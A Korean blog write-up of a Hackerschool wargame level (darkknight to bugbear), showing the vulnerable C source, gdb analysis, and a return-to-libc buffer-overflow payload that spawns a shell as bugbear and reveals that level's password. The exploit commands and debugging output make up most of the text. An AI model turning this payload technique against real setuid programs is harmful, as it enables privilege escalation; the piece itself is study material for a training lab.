[lob] 해커스쿨 darkknight -> bugbear 풀이

l 해커스쿨 darkknight 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

darkknight 문제의 아이디인   darkknight 와 password인    new attacker  을 입력하여 darkknight의 유저로 접속합니다.

 

 

 

[darkknight@localhost darkknight]$ ls -l
total 16
-rwsr-sr-x    1 bugbear  bugbear     12043 Mar  8  2010 bugbear
-rw-r--r--    1 root     root          385 Mar 29  2010 bugbear.c


[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include  <stdio.h>
#include  <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/darkknight ) 아래에 있는 디렉터리의 목록을 확인합니다.

darkknight.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]의 48번째 문자가 \xbf면 안됩니다.

 

 

분석 결과 스택 영역을 사용할 수 없다는 것을 알 수 있습니다.

 

 

[darkknight@localhost darkknight]$ cp bugbear darkknight

[darkknight@localhost darkknight]$ gdb darkknight
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>
:       push   %ebp 
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x2c,%esp 
...
0x8048489 <main+89>:    lea    0xffffffd8(%ebp),%eax
0x804848c <main+92>:    push   %eax
0x804848d <main+93>:    call   0x8048370 <strcpy>
...

 

 

 

gdb 실행 및 확인을 위해서 bugbear 파일을 복사해 darkknight 파일을 하나 생성해주었습니다. 

darkknight 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.

 

 

1.0x8048433 <main+3>:     sub    $0x2c,%esp 

0x2c를 10진수로 변환하면 44입니다. 스택에 총 44byte를 할당하였습니다.

 

 

2. 0x804848d <main+93>:    call   0x8048370 <strcpy>

bugbear.c 파일에서 strcpy에 buffer와 argv[1] 두 개의 인자가 들어갑니다. 스택에 들어가는 순서는 argv[1], buffer 순서이기 때문에 <main+92>에서 push 되는 주소가 buffer의 시작 주소입니다.

 

11011000 => 00100111 => 00101000 => 8 + 32 = 40

따라서, buffer는 ebp - 40부터 시작됩니다. 

 

 

기본적인 메모리 구조는 다음과 같습니다.

 

 

 

 

힌트에서도 나와있듯이 이번 문제는 RTL 기법을 사용해야 합니다. main의 ret 부분에 system 함수의 주소를 넣고, 인자로 /bin/sh를 넣어 셸을 취득하는 것이 최종 목표입니다.

 

(gdb) b *main+98
Breakpoint 1 at 0x8048492
(gdb) r `python -c 'print "A"*44+"BBBB"+"CCCC"+"\xbf\xbf\xbf\xbf"+"/bin/sh"'`
Starting program: /home/darkknight/darkknight `python -c 'print "A"*44+"BBBB"+"CCCC"+"\xbf\xbf\xbf\xbf"+"/bin/sh"'`

Breakpoint 1, 0x8048492 in main ()
(gdb) x/100x $esp
0xbffffa84:     0xbffffa90      0xbffffc14      0x40021ca0      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0x42424242      0x43434343
0xbffffac4:     0xbfbfbfbf      0x6e69622f      0x0068732f      0x00000002
0xbffffad4:     0x08048380      0x00000000      0x080483a1      0x08048430
0xbffffae4:     0x00000002      0xbffffb04      0x080482e0      0x080484dc

(gdb) p system
$1 = {} 0x40058ae0 <__libc_system>

 

 

RTL 기법의 정의에 의해 파란색 네모가 system 함수의 주소가 들어갈 부분, 초록색 네모가 /bin/sh의 주소, 빨간색 네모가 /bin/sh가 들어갈 자리입니다.

 

40byte           4byte            4byte            4byte            4byte             /bin/sh의 byte
[buffer]          [sfp]              [system 함수]  [dummy]   [&/bin/sh]     [/bin/sh]

 

즉, 위와 같이 페이로드가 구성될 것입니다. /bin/sh가 시작되는 주소는 0xbffffac8이고, system 함수의 주소는 0x40058ae0입니다.

 

 

 

| 페이로드

./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`

 

 

 

[darkknight@localhost darkknight]$ bash2
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh
sh: AAAAAAAAAAAAÈúÿ¿/bin/sh: Permission denied
Segmentation fault

[darkknight@localhost darkknight]$ ./darkknight `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh
sh: AAAAAAAAAAAAÈúÿ¿/bin/sh: No such file or directory
Segmentation fault (core dumped)

 

 

 

위의 페이로드를 bugbear로 실행시켜보았지만 segmentation fault만 떠서 darkknight 파일로 다시 실행시켰습니다. core dumped가 떴으므로 정확한 주소를 찾아보겠습니다.

 

 

 

[darkknight@localhost darkknight]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./darkknight AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAÈúÿ¿/bin/sh'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/s $esp
0xbffffad4:      "Èúÿ¿/bin/sh"
(gdb) x/x 0xbffffad5
0xbffffad5:     0x2fbffffa
(gdb) x/s 0xbffffad5
0xbffffad5:      "úÿ¿/bin/sh"
(gdb) x/s 0xbffffad6
0xbffffad6:      "ÿ¿/bin/sh"
(gdb) x/s 0xbffffad7
0xbffffad7:      "¿/bin/sh"
(gdb) x/s 0xbffffad8
0xbffffad8:      "/bin/sh"

 

 

 

core 파일을 이용해서 /bin/sh의 정확한 주소를 찾은 결과 0xbffffad8이 나왔습니다. 이제 이 주소를 위의 페이로드에서 \xc8\xfa\xff\xbf와 바꿔 실행시켜주겠습니다.

 

 

 

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xd8\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAàŠ@AAAAØúÿ¿/bin/sh
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

 

 

 

위의 페이로드를 넣고 id 명령을 입력하니 euid가 bugbear인 것을 볼 수 있습니다. my-pass 명령을 이용해 bugbear user의 password를 찾았습니다.

 

 

 

 

l bugbear 비밀번호

더보기

euid = 513 
new divide 

 

이 글을 공유하기

댓글

Designed by JB FACTORY